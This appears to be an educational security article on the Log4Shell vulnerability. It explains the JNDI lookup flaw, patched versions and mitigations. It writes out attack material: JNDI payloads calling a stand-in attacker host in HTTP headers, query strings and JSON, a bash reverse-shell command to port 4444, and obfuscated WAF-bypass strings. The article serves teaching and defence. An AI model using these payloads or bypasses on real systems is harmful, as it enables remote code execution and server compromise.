Log4Shell (CVE-2021-44228): How One Line of Code Broke the Internet
Preface
On December 9, 2021, security researcher Chen Zhaojun from Alibaba Cloud published a PoC for CVE-2021-44228 in Apache Log4j — the most widely used Java logging library. Within 72 hours, hundreds of threat actor groups began mass exploitation. Cloudflare recorded over 1 million exploitation attempts on the first day alone.
CVSS Score: 10.0 / Critical
What Is Log4j and Why Is It Everywhere
Apache Log4j 2 is a logging library for Java. It's used in virtually every Java project: from Minecraft servers to Cisco, VMware, Elasticsearch, Apple iCloud systems, and thousands of other products.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger log = LogManager.getLogger(App.class);
public static void main(String[] args) {
String userInput = args[0];
log.info("User connected: {}", userInput); // vulnerable line
}
}
The Vulnerability Mechanism
Log4j supports Message Lookup — the ability to substitute dynamic values in log strings using the ${prefix:name} syntax.
Legitimate examples:
${java:version} → Java version 11.0.13
${env:HOME} → /home/user
${sys:os.name} → Linux
One of the supported lookups is JNDI (Java Naming and Directory Interface) — a mechanism for looking up resources in network directories.
Vulnerable lookup:
${jndi:ldap://attacker.com/exploit}
When Log4j encounters this string during logging, it automatically makes an LDAP request to attacker.com and downloads a Java class from the response. That class executes on the victim's server.
Exploit Chain
1. Attacker sends payload in any field that gets logged:
User-Agent: ${jndi:ldap://attacker.com:1389/exploit}
2. Server logs the request via Log4j:
log.info("User-Agent: {}", userAgent); // triggers JNDI lookup
3. Log4j makes an LDAP request to attacker.com:1389
4. Attacker's LDAP server responds with a reference to a Java class:
javaClassData: malicious.Exploit (at attacker.com:8888)
5. Victim's JVM downloads and executes malicious.Exploit:
Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'");
6. Attacker receives a reverse shell
Where to Insert the Payload
Any field that ends up in logs:
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://ATTACKER:1389/x}
X-Forwarded-For: ${jndi:ldap://ATTACKER:1389/x}
X-Api-Version: ${jndi:ldap://ATTACKER:1389/x}
Authorization: Bearer ${jndi:ldap://ATTACKER:1389/x}
Referer: ${jndi:ldap://ATTACKER:1389/x}
Query parameters:
https://victim.com/login?username=${jndi:ldap://ATTACKER:1389/x}
JSON body:
{"username": "${jndi:ldap://ATTACKER:1389/x}"}
WAF Filter Bypasses
WAF filters tried to block ${jndi:, but bypasses appeared quickly:
# Nested lookups
${${lower:j}ndi:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
# upper/lower obfuscation
${${upper:j}ndi:${upper:l}dap://attacker.com/x}
# Via env lookup
${${env:NaN:-j}ndi:${env:NaN:-l}dap://attacker.com/x}
# Comment substitution
${j${::-}ndi:ldap://attacker.com/x}
# Unicode
${j${lower:n}di:ldap://attacker.com/x}
Checking for Vulnerability
DNS callback (safest method)
# 1. Get a unique URL on interact.sh or Burp Collaborator
# 2. Embed it in the payload
payload='${jndi:ldap://UNIQUE.interactsh.com/test}'
# 3. Send to all fields and wait for DNS callback
curl -H "User-Agent: ${payload}" https://victim.com/
Tools
# log4j-scan — automated scanning
python3 log4j-scan.py -u https://victim.com
# Nuclei template
nuclei -u https://victim.com -t cves/2021/CVE-2021-44228.yaml
Real-World Attacks (2021–2022)
- Cryptominers — first mass attacks within hours of disclosure
- Cobalt Strike — deploying C2 agents on vulnerable servers
- Ransomware — Conti, Khonsari groups began using it within a week
- APT groups — Iranian (Charming Kitten), Chinese, North Korean actors
- Lazarus (DPRK) — attacks on aerospace and defense companies
Vulnerable Versions and Patches
| Log4j Version | Status |
|---|---|
| 2.0-beta9 – 2.14.1 | VULNERABLE (CVE-2021-44228) |
| 2.15.0 | Partial fix (still vulnerable in some configs) |
| 2.16.0 | CVE-2021-44228 fixed, but has CVE-2021-45046 |
| 2.17.0 | Fully patched |
| 2.17.1+ | Recommended version |
| 1.x | End-of-life, has its own vulnerabilities |
Version check:
find / -name "log4j*.jar" 2>/dev/null
find / -name "*.jar" -exec jar tf {} \; 2>/dev/null | grep log4j
Temporary mitigation (if upgrade isn't possible):
# JVM argument (Log4j 2.10+)
-Dlog4j2.formatMsgNoLookups=true
# Environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# Remove JndiLookup class from jar
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Conclusions
Log4Shell exposed three systemic problems: 1. Supply chain: one library in thousands of products → multiplicative effect 2. Feature creep: lookup interpolation in logs — an unnecessary feature with catastrophic consequences 3. Patch lag: even a month after disclosure, millions of servers remained vulnerable
Lesson for developers: never make network requests when processing arbitrary strings from external sources.